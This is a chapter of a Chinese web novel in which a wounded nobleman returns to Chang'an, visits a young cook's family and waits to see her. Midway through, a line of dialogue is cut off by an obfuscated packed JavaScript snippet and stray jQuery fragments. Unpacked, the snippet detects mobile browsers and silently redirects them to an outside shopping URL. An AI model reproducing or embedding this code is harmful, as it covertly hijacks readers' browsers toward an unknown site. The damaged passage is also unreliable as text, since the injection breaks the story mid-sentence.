160. 抿唇一笑

作品:《小厨娘不想攻略大佬

    忙碌着的时间总是过得很快,到了六月穿上夏衫的时候,长安城也从土黄色转变成了绿色。


    与童白从影视剧里获得的信息不一样,才建国的大唐长安,完全不似盛唐时期的花团锦簇和色彩艳丽。


    不止百姓衣着颜色单一,就说她去各府做宴席时瞧见的夫人、小娘子们,也大多着淡雅衣裙,身姿纤细。


    童白穿着白氏做的嫩黄色绢布夏裙,脚上是同色系的布鞋,鞋底是她特意要求的厚底,哪怕站一日也不会硌脚疼。


    徐忠、翠娘和胡大三人各自忙碌开来,徐忠熬煮汤锅,翠娘切菜备菜,胡大则是给灶膛试用预热。


    看着三人井井有条的模样,突然感觉似乎可以躺平了。


    但,念头一闪而过,被她强势掐灭,她现在可还没有资格躺平。


    才买下隔壁家,还没有修整和改造,哪哪都要用钱花钱。


    视线挪到衣袖上,绢布的衣裳真是比麻布的舒服太多,又是为了更好的活着而奋斗的一日,童白紧握双拳,眼中全是坚定。


    看向三人的光芒都从欣然转为坚定,也不知道十九爷什么时候回长安,他们三人可是真好用啊,她迫不及待想要将他们的身契转到手上了。


    *


    被童白惦记着的崔衔,此刻正坐在善和坊的秦王府的外书房内,等待书吏官送来吏部重审外祖一案的文书的间隙,由府上的府医检查伤处和换药。


    李松才被换了伤药,整个人懒洋洋地靠坐在椅背上,闲闲问:“十九一会儿拿到文书后是回安仁坊还是去哪儿?”试图用言语来分散伤处的麻痒感。


    崔衔腰杆挺得笔直,“不知,到时候再说。”声音沙哑,面色如常。


    府医正在帮他清理伤处的腐肉,要说疼不疼,就见他垂在身侧的手握紧成拳便知一二。


    “你这段时日最好少外出。”


    崔衔“嗯,”了一声,回程队伍人数有增有减,好在李松他们都很强,他扛到了长安,“也不知多久能有音讯。”


    李松觑了他一眼,“应不会慢。”书记官拿着殿下铜牌前去吏部,吏部官员必然不敢怠慢,比起这个李松更担心崔十九的安危:“你家的侍卫何时能到?”


    淡淡的血腥味充斥鼻尖,崔衔心中生出一股戾气,“就算没到又何妨?”难道他还不能单独在这长安城内行走了?


    李松眉梢微挑,没想到啊,面对刺杀者都能平淡杀之的人,竟会因为这句话而情绪生出波澜,“这事只能由你去推进,你若死了,难不成还以为家中奴仆能继续推动?”秦王可不认那些那些奴仆。


    崔衔闭眼再睁眼,眼中回复清明,“我会注意的。”


    对方越着急便越显心虚,也意味着不经查,他如何都不会遂了对方之意。


    “谢李校尉提醒。”


    李松摆手,带动伤处,疼得他龇牙咧嘴的。


    崔衔眉眼微松,“晚些我去问一问童小厨娘的时间,咱们吃一顿好的,现在……”目光落在洞开的窗户之外,“算是夏日宴席了,必然会有不同风味。”


    “如此甚好。”李松大喜。


    医官离去,安仁坊的侍卫到来,书记官拿回吏部受理文书,崔衔几遍查看确认无误后,坐上了自家的马车。


    赶车的换成了府上的侍卫,随同崔衔一路奔波去凉州的马车夫,重伤躺在另外一辆马车中。


    出了善和坊,崔衔的声音从车厢里传出:“送马叔回安仁坊,我们去双梧巷。”


    侍卫微愣,很快应声:“是。”


    崔衔闭目,身躯随着马车行走而微微晃动,马车旁跟着四名侍卫,车厢里也有一位随身保护。这样的侍卫配置在之前,崔衔绝不敢显露在外,但非常时期,由不得他低调。


    薄薄的布帘隔档不了坊间的声音,哒哒哒的马蹄声踩在心间,此时此刻,想要见到童白的心情十分迫切。


    刻意压下的情绪翻江倒海,数次刺杀后,他豁然开朗,想做就去做,无需隐忍。


    一行人才进双梧巷,就被巷口的街坊们盯着看,青篷马车不显眼,但随行在旁的侍卫们一点也不低调。


    等着马车行至巷尾童家院门前时,巷口的人还抻着脖子张望。


    院门早在马车入巷子后便打开,白氏站在院门前,瞧见下车后的崔衔,神情拘谨,“民妇见过崔十九爷。”在她的身旁,二郎牵着三娘向崔衔躬身行行礼,四郎坐在学步车中,懵懂着看着眼前一幕。


    崔衔下车后拱手道:“小子见过校尉娘子。”姿态放的很低。


    白氏心中讶然,双方身份悬殊,没想到竟还能瞧见对方这般,“不知十九爷前来,所为何事?我家阿白在务本坊做宴席,不在家。”


    “无什么急事,就是这趟去前线,见到了童校尉,他托我带了信回来。”崔衔点到为止,问:“我可能在院中等候童小娘子归家?”


    白氏很想说将信留下即可,但话到嘴边却是:“自是可以,”拉开院门,“院子里有点乱,我这就去烧水煮茶。”


    二郎牵着弟、妹去了角落,小声道:“三娘你带着四郎就在这边玩,阿兄去待客。”阿娘去烧水了,又是妇人,待客之人自然是自己咯。


    二郎拖着竹椅,坐在了崔衔对面。人小鬼大地学着大人说话的口吻道:“十九爷见到爹爹,他可还好?”


    想到才与贺文贤厮杀的童校尉,崔衔目光微闪,虽然被背刺,但有惊无险,还光明正大的灭了一个军中劲敌,自然是好的。


    他避重就轻:“前段时日还立了功。”


    “立功!”二郎再少年老成也还是年岁不大,声音难免大了几分。


    这一句话,引来在童家门前不远处的街坊们的注意。


    她们瞧见下车的是个生面孔长相俊朗的小郎君,不约而同来了童家附近听墙角。


    “阿爹可有给我们带了信件?”二郎心情激动,若是有信件,或许在其间有写立了多大的功。


    崔衔点头又摇头:“原本是有,但路上遇袭,信件受损,已然看不清了。”被刀剑划烂加上血渍浸染透了。


    “那十九爷这趟前来,是有口信吗?”白氏身影出现在灶屋门处,急切问道。


    她哪怕在熬煮茶,也听着院中的动静,所以才能这么快出现。


    “是,”崔衔点头,“等着童小娘子回来,一同说。”


    欢喜的白氏和二郎完全没有意识到,为何一定要等人到齐后才说,只连连点头。


    白氏转身回灶前继续烧水,二郎兴奋的双手一遍又一遍地摩挲着衣角,努力克制却徒劳无功,只得用双手遮住上扬的嘴角。


    崔衔被二郎这般真实的反应惹得也心情飞扬不少。


    摸了摸放在胸前的文书,哪怕只是个抄写版,但内容却是实实在在的。


    外祖的案子终于要审理了。


    他现在心有无数欣喜想要宣之于众,而这份激动,让他连安仁坊都没回,随心来了双梧巷。


    视线扫过童家充满生活气息的院子,西南角的菜地,东南角的柴垛,甚至于,就连地上零星的杂物,都透着一种真实感。


    深吸一口,他平安回到了长安,而外祖的案子也通过吏部,择日重审。很快,这份文书便会被远在岭南的外祖收到。


    微风吹过,带来些许喧杂。


    卢娘子站在院门外,出声问道:“这位郎君,不知,可有崔将军麾下其他校尉的消息?”她本在家中收拾,听到街坊们的传话,什么都不顾就往童家而来。


    崔衔望向二郎,眼神中询问的意思十分明显。


    “这是巷口的卢婶子,”二郎介绍,“对我家多有照顾。”解释过后才觉讶然,为何要解释这么多。


    崔将军?


    卢娘子适时补充:“延寿坊的崔将军。”


    崔衔了然,“不知,我只认识童校尉。”实则是,这趟他根本没有去堂叔驻扎的地方。


    卢娘子了然,不是没有消息,而是不认识。


    这倒也正常,对方相貌俊朗,年岁不大,衣着也不是兵营里兵士的穿着,虽不知这位郎君为何会有童校尉的消息,但没消息就是好消息。


    卢娘子行礼:“谢过郎君。”


    此时,白氏端着碗出来,浅土色的瓦盆里装着清亮的茶汤。与时下放花椒葱姜的茶汤不一样。


    在院中候着的崔毅上前接过茶碗放在了十九爷身旁的小几上。


    暖风拂过面颊,童家院里院外都很安静,崔衔看着瓦碗里的茶汤,纤瘦修长的手捧起瓦碗,凑在嘴前吹凉。


    此刻,周围的一切都不重要了,鼻间全是淡淡的茶香,“没放调料?”


    “是,”白氏颔首,“这是阿白教我煮的茶,更清淡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338723|178855||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些。”白氏瞧了眼崔十九爷惨白的脸色,忍不住道:“也更适合十九爷喝,就是味道要比阿白煮的差一点。”


    崔衔哑然,原来自己此刻的模样竟这般狼狈。他忽然觉得,或许不该这般冲动前来,该先回府调养,可心底的迫切,又容不得他隐忍。


    低头再喝一口茶汤,急切的情绪被滚烫的茶汤生压下去。


    不止喉头滚烫,心也是烫的。


    一碗茶水喝完,童白依旧没有回来。


    崔毅瞧了眼围在童家院外的邻里,只多不少的架势,不由小声劝道:“不若郎君先回府,等稍晚些童小娘子回来后,小的告诉她,明日去安仁坊再说?”也不知道是多么重要的消息,只能面对面说给童小厨娘听。


    完全没有想过,崔衔此趟的目的,根本不是送消息。


    崔衔也意识到等在此的举动给白氏造成了不小的压力,他起身挡了挡袖子,客气道:“那我便先回去了,等明日再来寻童小娘子。”


    白氏点头,忙不迭送崔衔出去,眼见着马车驶离,才舒了一口气。


    根本就没想,究竟会是什么样的口信才只能跟童白说。


    马车从东坊门出去,驶离坊门处约么百丈后,又转身进了崇贤坊,再又行驶百丈后,复又从东坊门出去。


    这样的行经必然惹得坊吏侧目,探究的目光一直停在赶车的侍卫身上,多来几次,在坊吏前来询问前,侍卫沉声禀告:“主子,坊吏已经注意到了,咱们还需要这般进进出出吗?”


    崔衔没想到这么会儿的功夫就惹来坊吏的关注,无奈道:“那就停在个临近东坊门的小巷,等。”


    等谁,自然不必多言。


    随着日光西斜,童白的马车往崇贤坊驶来,途径靠近东坊门的小巷时,马车夫被喊住:“梁侍卫,稍停片刻,主子想要见童小厨娘。”


    “吁”赶车的梁侍卫叫停马车。


    掀开车帘,童白才探出头来,便与崔衔对视上。


    童白眼帘微垂,心尖尖微微发颤,指甲紧掐手心才克制住喷涌的心情,“十九爷瘦了。”


    “嗯,”崔十九目光紧盯在童白身上,就连她握紧双拳的手都没忽视,“月余没吃到你做的饭食,可不就瘦了。”


    俩人都没有动,俩人之间的氛围胶黏,空气中的尘土味中夹杂了几分甜意。


    俩人同时开口,“你……”话音同时顿住,童白耳垂微微发热,下意识避开崔衔的目光。


    “时候不早了,我,我……”要回去了,但,话到嘴边,“我要去车马行还马车了。”


    崔衔这才将目光放在马车上,微微蹙眉,怎么不是自家的马车?


    这些年虽然低调在长安生活,自崔老找到他后,便偷偷在外经营生意,要说大钱没有,但是一个马车还是有的,为何还要租车?


    童白赶忙解释:“崔老有说让我用安仁坊的马车,是我没同意。”生怕十九爷误会。


    “为何不同意?”崔衔不明白。


    “接私宴的酬金崔老不要,用着府上的人帮我做事,已是厚着脸皮了,哪能马车还用府上的。”她手上的银钱够置办一辆马车,只是她才买了院子,不想过于高调,改买为租。


    崔衔很想说,你用便是,无需跟我见外,但,眼角余光瞧见了站在周围的侍卫,他喉结上下滚动,算了,现在还不是时候。


    手握拳抵在唇边轻咳一声,“适才我去你家,瞧见你不在,便……”偶遇用不上了,只能委婉道:“便在此等着你。”


    “可是有事?”


    “嗯,”瞧见周围好奇的目光越来越多,崔衔意识到这里并不是说话的好地方,“明日来趟安仁坊,”看见童白黑白分明的眸子,他抿了抿唇:“我回长安了,你需要回来给我做膳食,调理身体。”


    童白眼神在崔衔身上打量一番。


    这一趟出去,是瘦了不少。


    “好。”正好她也有事要跟十九爷说。


    饱腹后,心情会好些。到时候再提给徐忠,翠娘和胡大赎身之事,会更合适。


    想到此,她抿唇一笑,有些得意。


    崔衔并不知童白心里在想什么,却留意到对方的笑,以及那带着几分狡黠的眼神。


    很合他心意。


    平复了下心神,公事公办道:“童小厨娘回去吧,明日别忘了。”